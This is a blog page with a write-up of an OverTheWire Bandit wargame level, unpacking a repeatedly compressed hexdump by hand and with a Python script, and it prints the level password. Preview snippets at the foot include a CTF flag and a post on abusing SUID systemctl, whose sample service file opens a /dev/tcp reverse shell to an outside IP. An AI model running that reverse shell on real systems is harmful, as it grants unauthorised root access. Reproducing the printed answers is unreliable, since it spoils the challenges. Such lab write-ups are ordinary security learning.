Skip to main content

Over the Wire - Bandit 13

Bandit 13

 Objectives

 The password for the next level is stored in the file data.txt, which is a hexdump of a file that has been repeatedly compressed. For this level it may be useful to create a directory under /tmp in which you can work using mkdir. For example: mkdir /tmp/myname123. Then copy the datafile using cp, and rename it using mv (read the manpages!)

 Solution

 First lets copy the file to a temporary directory so we can manipulate it

bandit12@bandit:~$ mkdir /tmp/asbandit12bandit12@bandit:~$ cp data.txt /tmp/asbandit12bandit12@bandit:~$ cd /tmp/asbandit12bandit12@bandit:/tmp/asbandit12$ lsdata.txt


now lets convert the hexdump back to its original file 
​

bandit12@bandit:/tmp/asbandit12$ xxd -r data.txt data.binbandit12@bandit:/tmp/asbandit12$ lsdata.bin  data.txt

so now if we check the file type for the reverted data.bin file

<bandit12@bandit:/tmp/asbandit12$ file data.bindata.bin: gzip compressed data, was "data2.bin", last modified: Tue Oct 16 12:00:23 2018, max compression, from Unix


so it is a gzip file
lets rename it to .gz


bandit12@bandit:/tmp/asbandit12$ mv data.bin data.gzbandit12@bandit:/tmp/asbandit12$ lsdata.gz  data.txt


now lets decompress it  the -N switch automatically renames it to its original file name


bandit12@bandit:/tmp/asbandit12$ gunzip -N data.gzbandit12@bandit:/tmp/asbandit12$ lsdata2.bin  data.txt


Let's see if its really a bin file?

bandit12@bandit:/tmp/asbandit12$ file data2.bindata2.bin: bzip2 compressed data, block size = 900k


Nope its a bzip lets rename and unzip it

bandit12@bandit:/tmp/asbandit12$ mv data2.bin data2.bz2bandit12@bandit:/tmp/asbandit12$ lsdata2.bz2  data.txtbandit12@bandit:/tmp/asbandit12$ bunzip2 data2.bz2bandit12@bandit:/tmp/asbandit12$ lsdata2  data.txt


is this its final form? Nope that was a gzip file too

bandit12@bandit:/tmp/asbandit12$ file data2data2: gzip compressed data, was "data4.bin", last modified: Tue Oct 16 12:00:23 2018, max compression, from Unix


we'll rename it to .gz and unzip and see what kind of file that was

bandit12@bandit:/tmp/asbandit12$ mv data2 data2.gzbandit12@bandit:/tmp/asbandit12$ gunzip -N data2.gzbandit12@bandit:/tmp/asbandit12$ lsdata4.bin  data.txtbandit12@bandit:/tmp/asbandit12$ file data4.bindata4.bin: POSIX tar archive (GNU)


ok now its a tar file...... this is getting a bit ridiculous

bandit12@bandit:/tmp/asbandit12$ mv data4.bin data4.tarbandit12@bandit:/tmp/asbandit12$ tar -xvf data4.tardata5.binbandit12@bandit:/tmp/asbandit12$ lsdata4.tar  data5.bin  data.txtbandit12@bandit:/tmp/asbandit12$ file data5.bindata5.bin: POSIX tar archive (GNU)


ok double tar'd

bandit12@bandit:/tmp/asbandit12$ mv data5.bin data5.tarbandit12@bandit:/tmp/asbandit12$ tar -xvf data5.tardata6.binbandit12@bandit:/tmp/asbandit12$ file data6.bindata6.bin: bzip2 compressed data, block size = 900k


now its BZ again

bandit12@bandit:/tmp/asbandit12$ mv data6.bin data6.bz2bandit12@bandit:/tmp/asbandit12$ bunzip2 data6.bz2bandit12@bandit:/tmp/asbandit12$ lsdata4.tar  data5.tar  data6  data.txtbandit12@bandit:/tmp/asbandit12$ file data6data6: POSIX tar archive (GNU)


and now its a tar again....... little past ridiculous now huh?

bandit12@bandit:/tmp/asbandit12$ mv data6 data6.tarbandit12@bandit:/tmp/asbandit12$ tar -xvf data6.tardata8.binbandit12@bandit:/tmp/asbandit12$ file data8.bindata8.bin: gzip compressed data, was "data9.bin", last modified: Tue Oct 16 12:00:23 2018, max compression, from Unix


now its back to gz

bandit12@bandit:/tmp/asbandit12$ mv data8.bin data8.gzbandit12@bandit:/tmp/asbandit12$ gunzip -N data8.gzbandit12@bandit:/tmp/asbandit12$ lsdata4.tar  data5.tar  data6.tar  data9.bin  data.txtbandit12@bandit:/tmp/asbandit12$ file data9.bindata9.bin: ASCII text



Wahooooo it's an ascii file lets read it

bandit12@bandit:/tmp/asbandit12$ cat data9.binThe password is 8ZjyCRiBWFYkneahHwxCv3wb2a1ORpYL



now I have to figure out how to do this in python



import osimport subprocessimport shleximport gzipimport glob

os.system("xxd -r data.txt data.bin")
gziptype = 'application/gzip'txt = 'text/plain'tar = 'application/x-tar'bzip = 'application/x-bzip2'
filename = ''mime_type = ''newfile = ''
def funcgzip(): global filename base = os.path.splitext(filename)[0] filenamenewgz =  base + '.gz' os.rename(filename, base + '.gz') filename = filenamenewgz command = ('gunzip -N ' +filename) os.system(command)
def funcbzip(): global filename base = os.path.splitext(filename)[0] filenamenewbz =  base + '.bz2' os.rename(filename, base + '.bz2') filename = filenamenewbz command = ('bunzip2 ' +filename) os.system(command)

def functar(): global filename base = os.path.splitext(filename)[0] filenamenewtar =  base + '.tar' os.rename(filename, base + '.tar') filename = filenamenewtar command = ('tar -xvf ' +filename) os.system(command)

def findnew(): global newfile global filename list_of_file = glob.glob('./*') newfile = max(list_of_file,key=os.path.getctime) filename = newfile return(filename)

def filemimetype(): global mime_type global filename cmd = shlex.split('file --mime-type {0}'.format(filename)) result = subprocess.check_output(cmd) mime_type = result.split()[-1]


def ascii(): global mime_type if mime_type == txt:  print('txt mimetype', filename)  os.system('cat '+filename) else:   if mime_type == gziptype:   funcgzip()  else:   if mime_type == tar:    functar()   else:    if mime_type == bzip:     funcbzip()    else:     print('oops')    

findnew()filemimetype()
while mime_type != txt: findnew() filemimetype()
 ascii()

...'./data.bin''./data2.bin''./data2''./data4.bin'data5.bin'./data5.bin'data6.bin'./data5.tar'data6.bin'./data6.bin''./data6'data8.bin'./data8.bin''./data9.bin'('txt mimetype', './data9.bin')The password is 8ZjyCRiBWFYkneahHwxCv3wb2a1ORpYL
Labels:

Comments

Post a Comment

Popular posts from this blog

HacktheBox - Retired - Frolic

HacktheBox - Retired - Frolic Recon Let's start out with a threader3000 scan Some interesting results here Port 22 and 445 aren't uncommon… but 1880 and 9999 are.. Let's let nmap run through these ports  Option Selection: 1 nmap -p22,445,1880,9999 -sV -sC -T4 -Pn -oA 10.10.10.111 10.10.10.111 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 16:17 EDT Nmap scan report for 10.10.10.111 Host is up (0.060s latency). PORT     STATE SERVICE     VERSION 22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) |   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) |_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) 445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 1880/tcp open  http        Node.js (Express middlewar
Post a Comment
Read more

RingZero CTF - Forensics - Who am I part 2

RingZero CTF - Forensics -  Who am I part 2 Objective: I'm the proud owner of this website. Can you verify that? Solution: Well it took me a bit to figure this one out. I tried looking at the whois records for ringzer0ctf.com I tired looking at the DNS records for the site. I even looked in the Certificate for the site. Then I thought a little be more about the question. It's not asking how I can verify who own the site. It wants me to verify the owner themselves. Luckily at the bottom the page we see who is listed as on the twittter feeds @ringzer0CTF and @ MrUnik0d3r lets check if we can find the PGP for MrUniK0d3r online. I googled PGP and MrUn1k0d3r The very first result is his PGP  keybase.txt with his PGP at the bottom of the file is the flag FLAG-7A7i0V2438xL95z2X2Z321p30D8T433Z
Post a Comment
Read more

Abusing systemctl SUID for reverse shell

Today I came across a box that had the SUID set for systemctl connected as the apache user www-data I was able to get a root reverse shell. This is to document how to use this for privilege escalation. I used a bit from this blog https://carvesystems.com/news/contest-exploiting-misconfigured-sudo/ and a bit from here too https://hosakacorp.net/p/systemd-user.html Step1. Create a fake service I named my LegitService.service I placed it in the /tmp directory on the server. [Unit] UNIT=LegitService Description=Black magic happening, avert your eyes [Service] RemainAfterExit=yes Type=simple ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.2.21.243/5555; cat <&5 | while read line; do $line 2>&5 >&5; done" [Install] WantedBy=default.target Then in order to add this to a place we can use systemctl to call from I created a link from /tmp, since I didn't have permission to put the file in the normal systemd folders systemctl link /tmp/LegitService.service The
Post a Comment
Read more